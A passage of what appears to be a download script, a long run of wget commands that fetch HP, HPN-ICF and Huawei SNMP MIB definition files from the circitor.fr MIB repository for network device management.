wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RADIUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RCR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RDDC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RMON-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RMON-EXT2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RRPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RS485-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-RSA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SAN-AGG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SLBG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SMLK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SNA-DLSW-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SNMP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SPB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SSH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-STORM-CONSTRAIN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SUBNET-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SYS-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-T1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TE-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TRANSCEIVER-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TRNG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TRNG2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-UI-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-UNICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-UPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-USERLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VMAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VOICE-CALL-ACTIVE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VOICE-CALL-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VOICE-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VOICE-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VOICE-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VRRP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VSAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-VXLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-WEB-AUTHENTICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-WIPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPN-ICF-WLANMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAASR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSACAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSADIMM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAECC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAEISA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAENV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAEVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAHOTSWAPSUBSYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAPCI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSAREMOTEASSIST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSARPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSASCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSASEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSASINFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSASOFTWARESUBSYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSASTORAGECAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSATAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSATRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSATRAPCFG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPNSATRAPMNGR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOTHERTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOV-NNM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOV-OVIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOV-SNMPSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOVSam-IM.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPOvSam-MIB-V1.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPR-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPSVRMGMT-OID.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPSWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPTCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPVCMODULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HPVCQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HTTPEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HTTPSERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-3COM-OID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-8021PAE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-8040IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-AAA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ALARM-RELIABILITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-APS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-AR46-DEV-ADM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ASPF-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ATK-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ATK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ATM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-AUTODIAGNOSE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BASE-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BFD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BGP-ACCOUNTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BGP-GR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BGP-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BLS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-COPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-DPI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-GRE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-IFNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-IPTN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-L2TP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-MULTICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-MVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-PPPoX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-RADIUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-RUI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-SBC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-SRVCFG-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-SRVCFG-EAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-SRVCFG-STATICUSER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-SRVCFGINTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-USERVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-VSM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BRAS-VT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-BULKSTAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CBQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CCC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CDP-COMPLIANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CE-PING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CESC-MA5100-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CLOCK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CONFIG-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-CPU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DAD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DATASYNC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DC-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DETECT-ENGINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DEVICE-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DHCP-SNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DHCPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DHCPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DIE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DISMAN-PING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-DNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-E-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-EASY-OPERATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ENERGYMNGT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ENTITY-EXTENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ENTITY-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-EPON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ERPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ERRORDOWN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ESAP-MDNS-GATEWAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ETHARP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ETHOAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FLASH-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FR-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FRC-MA5100-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-FWD-RES-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-GARP-APP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-GTL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-GTSM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-HGMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-HQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-HTTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-HWTACACS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ICMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IF-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IF-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IMA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-INFOCENTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-INNER-LINK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPFPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPHC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPLPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPMCAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPSESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-IPV6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ISDN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ISIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-ISOLATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-KOMPELLA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2MAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2MULTICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2TP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2VPN-OAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L2VPN-PW-APS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L3VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-L3VPN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LDT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LOAD-BACKUP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LOOPDETECT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LSP-PING-TRACE-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LSW-DEV-ADM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswARP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswDEVM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswDHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswIGSP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswINF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswMAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswMSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswMix-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswQos-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswRSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswSMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-LswVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MA5200-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MA5200-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MAC-AUTHEN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MACBIND-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MACSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MC-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MDNS-RELAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MEMORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MFF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MFLP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MGMD-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MINM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MIRROR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MLSR-DEV-ADM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MODULE-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLS-BGP-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLS-EXTEND-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLS-LDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLS-LSR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLS-TP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLSLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLSLSR-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLSOAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MPLSOAM-PS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MSDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MULTICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MUSA-MA5100-CONFMIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-MUSA-MA5100-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NAT-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NAT-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NDEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NETSTREAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-NTPV3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-OSPFV2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-OSPFV3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PERFMGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PERFORMANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PFLT-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PGI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PIM-BSR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PIM-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-POE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PORTAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-POS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PRODUCT-ID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PWE3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-PWE3-TNL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-QINQ-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RBRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-REDUNDANCY-POWER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RIPV2-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RM-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RMON-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RRPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-RSVPTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SECSTAT-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SECSTAT-IP-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SECSTAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SECURITY-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SEP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SLB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SLOG-EUDM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SMAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SMARTLINK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SNA-DLSW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SNMP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SSH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SUPERLAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SWITCH-L2MAM-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SWITCH-SRV-RES-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SYS-CLOCK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SYS-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-SZONE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TACACS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TAD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TASK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TDM-PSN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TFTPC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TRANSPARENTBRIDGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TRNG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TUNNEL-TE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-TWAMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-UNIMNG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-USA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-USC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-USERLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VBST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VGMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VLL-STATISTIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VO-AAA-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/H/HUAWEI-VO-ANALOG-IF-MIB.mib
